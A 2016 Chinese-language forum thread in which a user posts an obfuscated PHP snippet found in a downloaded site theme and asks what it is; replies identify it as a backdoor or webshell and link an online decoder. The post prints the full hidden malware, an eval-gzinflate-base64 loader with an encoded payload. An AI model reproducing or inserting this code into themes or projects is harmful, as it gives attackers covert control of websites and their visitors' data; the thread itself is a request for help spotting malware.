32MB.CN 发表于 2016-3-15 21:08:31

求告知这段代码是干嘛的，从刚下的主题里发现的

<?php $JT4454 = "bhvw*ekxt;1gszl9r(a7ic.4p)826jfudynq350_/mo";$Z4429 = $JT4454.$JT4454.$JT4454.$JT4454.$JT4454.$JT4454.$JT4454.$JT4454.$JT4454.$JT4454.$JT4454.$JT4454;$cK769 = "e".chr(118)."".chr(97)."l(\x67zi\x6e\x66la\x74\x65(".chr(98)."".chr(97)."".chr(115)."\x65\x36\x34".chr(95)."de\x63".chr(111)."".chr(100)."\x65(";$cIl6592 = ")".chr(41)."".chr(41)."\x3B";$kjJX9046 = $cK769."'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'".$cIl6592;$Z4429($JT4454.$JT4454.$JT4454.$JT4454.$JT4454, $kjJX9046,"410"); ?>

sgwyhwt 发表于 2016-3-15 21:10:34

这是一个后门

mikj521 发表于 2016-3-15 21:16:47

:lol 被黑了了

月痕 发表于 2016-3-15 21:19:50

一句话木马

晓白 发表于 2016-3-15 21:26:49

雨宫音羽 发表于 2016-3-15 21:26:52

http://www.unphp.net/decode/e6fed65c6d983f50073b0b7e5b98964b/
倒不是一句话。。。

晓白 发表于 2016-3-15 21:29:19

32MB.CN 发表于 2016-3-15 21:30:52

雨宫音羽 发表于 2016-3-15 21:26
http://www.unphp.net/decode/e6fed65c6d983f50073b0b7e5b98964b/
倒不是一句话。。。

谢谢啦，确实如那段代码的效果啊

the2ndface 发表于 2016-3-15 21:59:28

这应当是一串KEY，嗯，貌似你被黑了

Mr.Comma 发表于 2016-3-15 22:41:02

这是不是已经被......
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